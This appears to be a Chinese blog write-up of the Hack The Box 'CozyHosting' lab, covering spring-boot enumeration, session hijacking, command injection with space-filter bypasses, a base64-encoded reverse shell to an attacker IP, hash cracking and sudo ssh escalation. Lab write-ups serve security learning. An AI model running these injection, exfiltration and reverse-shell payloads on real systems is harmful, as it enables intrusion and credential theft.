htb CozyHosting walkthrough spring-boot + 命令注入 + jar 信息泄露

image
添加域名

访问网站
image



发现了个登录框
image
尝试弱口令 发现失败



dirsearch 扫描的结果显示有个error页面
image



访问看看
这个标志明显是个spring-boot 框架
image




dirsearch -u http://cozyhosting.htb/ -w ./SecLists-master/SecLists-master/Discovery/Web-Content/spring-boot.txt
用spring boot专用字典扫一下
image




在这些路径里面我们发现在sessions里面记录了两个session 由于第一个显示的是unauthorized
所以我尝试将我们的session替换成第二个session

image

image



替换之后发现成功了
image

我们成功进入了页面



在输入栏里尝试命令注入
我们抓包分析
在这个输入栏里面发现不允许存在空格
image



经典的ctf空格绕过过滤
我总结了一下
{curl,10.10.16.4}
$IFS$9 替代空格
${IFS} 替代空格
%09 代替空格

这四种方法都可以实现命令注入



ok尝试反弹shell

查看用户名
||curl%0910.10.16.4/`whoami%09|base64`; 

![image](https://img2024.cnblogs.com/blog/3376478/202501/3376478-20250128100415748-746011324.png) 改用户叫app
查看家目录有哪些用户
||curl%0910.10.16.4/`ls%09-a%09/home/|base64`;
![image](https://img2024.cnblogs.com/blog/3376478/202501/3376478-20250128100708887-2028868517.png)
尝试反弹shell
usertest;echo%09'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNC84MCAwPiYx'|base64%09-d|bash;
![image](https://img2024.cnblogs.com/blog/3376478/202501/3376478-20250128104630262-1980391804.png)

反弹成功
python3 -c 'import pty; pty.spawn("/bin/bash")' 获取完整tty


image







flag应该在josh用户里面
image
想办法提权到josh用户里面



发现本地开着8080端口 我们用socat做端口转发
./socatx64.bin -ddd TCP-LISTEN:2222,fork TCP:127.0.0.1:8080
结果发现是一样的页面




由于/app目录下有个jar包
我们来分析一下这个jar包
image



用jajx 文本搜索出来了 password的明文
image
MRdEQuv6~6P9



尝试登录
image
发现登录不了 josh用户



ss -lnpt 发现5432 psql端口开着
image
登录数据库看看
image
我们发现了properties文件
image
找到了psql的密码




image

image

image



爆破密码
john hash --wordlist=/root/Desktop/fuzz/rockyou.txt/rockyou.txt
image

manchesterunited



登录成功
image



进入提权环节
sudo -l 然后输入密码
image
直接搜ssh提权 https://gtfobins.github.io/gtfobins/ssh/#sudo
image
提权成功

posted @ 2025-01-28 13:20  WSssSW  阅读(21)  评论(0)    收藏  举报